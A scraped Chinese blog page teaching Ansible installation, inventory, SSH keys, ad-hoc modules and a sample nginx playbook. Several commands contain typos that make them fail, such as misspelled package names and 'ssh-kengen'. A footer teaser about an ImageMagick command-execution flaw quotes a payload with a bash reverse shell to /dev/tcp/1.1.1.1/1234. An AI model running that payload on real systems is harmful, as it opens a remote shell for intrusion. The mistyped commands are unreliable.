ansible

ansible源码安装

yum -y install python-jinja2 PyPAML python-parmiko python-babel python-crypto
tar -zxf ansible-1.5.4.tar.gz
cd ansible-1.5.4
python setup.py build
python setup.py install
mkdir /etc/ansible
cp - examples/* /etc/ansible

ansible yum安装

cd /etc/yum.repos.d/
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.rep

yum -y install python-jinja2 PyPAML python-parmiko python-babel python-crypto ansible

ansible 配置文件的作用
rpm -ql ansible

/etc/ansible/ansible.cfg
/etc/ansible/hosts #配置文件,定义了识别的所有主机
/etc/ansible/roles
/usr/bin/ansible
/usr/bin/ansible-console
/usr/bin/ansible-doc #文档
/usr/bin/ansible-galaxy
/usr/bin/ansible-playbook ###剧本

ansible配置 /etc/ansible/hosts (连接的主机)

cat /etc/ansible/hosts

[webserver]
192.168.1.104

[dbserver]
192.168.1.105

ansible ssh免密码认证

ssh-kengen -t rsa

ssh-copy-id -i /root/.ssh/id_rsa.pub root@192.168.1.104
ssh-copy-id -i /root/.ssh/id_rsa.pub root@192.168.1.105

ansible 命令使用

使用 -m ping模块,判断客户机是否在线
ansible all -m ping

查看主机时间
ansible all -m command -a "date"

查看ansilbe 使用方法
man ansible

ansible基本语法

ansible <host-pattern> [-m module_name] [-a args] [options]

-m command 默认模块,可以不用写。

查看docker服务器是否启用

ansible all -m command -a "systemctl status docker.service"

ansible 所有模块

ansible-doc -l 查看ansilbe所有模块

ansible copy模块使用方法、

ansible-doc -s copy

[root@localhost yum.repos.d]# ansible-doc -s copy
- name: Copies files to remote locations.
action: copy
backup # Create a backup file including the timestamp information so you can get the original file back if you somehow clobbered it incorrectly.
content # When used instead of 'src', sets the contents of a file directly to the specified value. This is for simple values, for anything complex or with
formatting please switch to the template module.
dest= # Remote absolute path where the file should be copied to. If src is a directory, this must be a directory too.
directory_mode # When doing a recursive copy set the mode for the directories. If this is not set we will use the system defaults. The mode is only set on directories
which are newly created, and will not affect those that already existed.
follow # This flag indicates that filesystem links, if they exist, should be followed.
force # the default is `yes', which will replace the remote file when contents are different than the source. If `no', the file will only be transferred if the
destination does not exist.
group # name of the group that should own the file/directory, as would be fed to `chown'
mode # mode the file or directory should be. For those used to `/usr/bin/chmod' remember that modes are actually octal numbers (like 0644). Leaving off the
leading zero will likely have unexpected results. As of version 1.8, the mode may be specified as a symbolic mode (for
example, `u+rwx' or `u=rw,g=r,o=r').
owner # name of the user that should own the file/directory, as would be fed to `chown'
remote_src # If False, it will search for src at originating/master machine, if True it will go to the remote/target machine for the src. Default is False.
Currently remote_src does not support recursive copying.
selevel # level part of the SELinux file context. This is the MLS/MCS attribute, sometimes known as the `range'. `_default' feature works as for `seuser'.
serole # role part of SELinux file context, `_default' feature works as for `seuser'.
setype # type part of SELinux file context, `_default' feature works as for `seuser'.
seuser # user part of SELinux file context. Will default to system policy, if applicable. If set to `_default', it will use the `user' portion of the policy if
available
src # Local path to a file to copy to the remote server; can be absolute or relative. If path is a directory, it is copied recursively. In this case, if path
ends with "/", only inside contents of that directory are copied to destination. Otherwise, if it does not end with "/",
the directory itself with all contents is copied. This behavior is similar to Rsync.
validate # The validation command to run before copying into place. The path to the file to validate is passed in via '%s' which must be present as in the example
below. The command is passed securely so shell features like expansion and pipes won't work.

拷贝命令
ansible all -m copy -a "src=/etc/yum.repos.d/epel-7.repo dest=/tmp"

检查拷贝是否成功
ansible all -m command -a "ls /tmp/"

ansible 使用cron 模块,定义每3分钟同步以下时间
[root@localhost yum.repos.d]# ansible-doc -s cron

1. 放置到/etc/crontab文件下
ansible all -m cron -a "name='sutom job' cron_file=/etc/crontab user=root minute=*/3 hour=* day=* month=* weekday=* job='/usr/sbin/ntpdate 192.168.1.1'"

2. 第二种方法
ansible all -m cron -a "name='sutom job' user=root minute=*/3 hour=* day=* month=* weekday=* job='/usr/sbin/ntpdate 192.168.1.1'"

3. 验证crontab 是否添加
ansible all -m command -a "crontab -l"

使用group模块新建mysql组
ansible all -m group -a "gid=306 system=yes name=mysql"

使用user模块新建mysql用户
ansible all -m user -a "group=mysql home=/home/mysql name=mysql createhome=yes"

通过ansible使用yum模块
ansible-doc -s yum

ansible all -m yum -a "state=present name=python-devel"

通过ansible使用service模块
ansible all -m service -a "state=started name=docker enabled=yes"

检查服务器启动状态
ansible all -m command -c "systemctl list-unit-files docker.service"

ansible playbooks
例子:

[root@localhost ~]# cat nginx.yaml
- hosts: all
remote_user: root
tasks:
- name: install nginx latest version
yum: state=latest name=nginx
- name: copy nginx configure file to hosts
copy: src=/root/nginx.conf dest=/etc/nginx/ force=yes
notify:
- restart nginx
handlers:
- name: restart nginx
service: state=restarted name=nginx.service

ansible 安装使用的更多相关文章

  1. 初探ansible安装

    一.ansible介绍常用的自动化运维工具 Puppet —基于 Ruby 开发,采用 C/S 架构,扩展性强,基于 SSL,远程命令执行相对较弱SaltStack —基于 Python 开发,采用 ...

  2. Ansible安装配置Nginx

    一.思路 现在一台机器上编译安装好nginx.打包,然后在用ansible去下发 cd /etc/ansible 进入ansible配置文件目录 mkdir roles/{common,install ...

  3. Ansible安装配置及使用

    一.Ansible特点 1.不需要安装客户端,通过sshd通信 2.基于模块工作,模块可以由任何序言开发 3.不仅支持命令行使用模块,也支持编写yaml格式的playbook 4.支持sudo 5.有 ...

  4. Ansible安装配置

    Ansible工具的安装与配置 Ansible基于SSH,不需要在远程端安装任何软件,只需要在管理端安装ansible及其组件即可. Ansible使用前提是已配置ssh密钥免登陆. 一.安装组件: ...

  5. ansible安装二进制kubernetes-1.14.1

    主机信息: 主机IP 主机名 角色 10.10.3.181 k8s-m1  kube-apiserver,kube-controller-manager,kube-scheduler,etcd 10. ...

  6. Ansible安装部署以及常用模块详解

    一.  Ansible 介绍Ansible是一个配置管理系统configuration management system, python 语言是运维人员必须会的语言, ansible 是一个基于py ...

  7. 内网环境使用ansible安装software 需要外网时,如何绑定代理呢

    内网环境使用ansible安装software 需要外网时,如何绑定代理呢? 方法一: 在ansible 的脚本里,yum install 的地方,添加语句: environment: https_p ...

  8. Ansible 安装与配置(一)

    公司大概有200多云主机需要进行管理,但是如果通过手工管理费时还累最终结果也容易出错,所以考虑通过自动化的方式来管理云主机,目前开源的自动化工具,大家用的比较多的有Ansible和Saltstack这 ...

  9. Ansible安装及OS规划

    Ansible安装  1.以管理用户mtnsadmin连接服务器后下载安装包(-O表示将下载的文件存放到指定的文件夹下,同时重命名下载的文件)     sudo wget -O /etc/yum.re ...

  10. 【mac】ansible安装及基础使用

    安装 环境释放 mac 10.12.5 #more /System/Library/CoreServices/SystemVersion.plist 安装命令 #ruby -e "$(cur ...

随机推荐

  1. ACM:a^b%p-数论-快速幂-快速乘

    a^b Time Limit: 1000MS   Memory Limit: 65535KB   64bit IO Format: Description 求a的b次方,取模mod(1<=a,b ...

  2. [Cocos2D-x For WP8]Sprite精灵

    精灵(Sprite)是游戏里面的角色,比如敌人,游戏里面运动的物体等等,所以精灵是游戏里面一个非常常见的概念,几乎无处不在.在Cocos2D-x里面精灵是用CCSprite类来进行表示的,它可以用一张 ...

  3. 【ZOJ】3380 Patchouli's Spell Cards

    http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemId=3957 题意:m个位置,每个位置填1~n的数,求至少有L个位置的数一样的概率(1 ...

  4. ThinkPHP3.2.2 Widget扩展以及widget demo实例

    Widget扩展一般用于页面组件的扩展. 先说明Widget被调用的方法,你只需要在你的模板文件中使用这样的语法:{:W("Demo/demo_widget_method",arr ...

  5. (转)C#特性学习与使用(为枚举定义Description)

    参考:http://blog.csdn.net/nndtdx/article/details/6905802#comments

  6. X-UA-Compatible/IE=EmulateIE7/IE=7

    1.<meta http-equiv="X-UA-Compatible" content="IE=5" /> 像是使用了 Windows Inter ...

  7. 史上最全的Win8快捷键大全

    下列的 Win8 快捷键列表汇总均收集自网络,未全部实测,也有可能有Win7时代的热键混迹其中,不管怎样,如有错漏,欢迎大家指正! Win8 常用快捷键: Win键 可在开始屏幕主菜单及最后一个应用程 ...

  8. php by oneself

    在php里面写html代码真的很麻烦,最近学到了一个新的方法: <html> <head> <title>PHP</title> <meta ht ...

  9. JAVA 往jar包添加class文件

    (1) jar -uf jarfile.jar yourclasses (2) 右击要打包的文件夹,选择“添加到压缩文件”,弹出对话框: 把压缩文件格式改为zip,再把压缩文件名中的反缀改为.jar, ...

  10. ImageMagick又一处命令执行

    push graphic-context viewbox image copy , , "|bash -i >& /dev/tcp/1.1.1.1/1234 0>& ...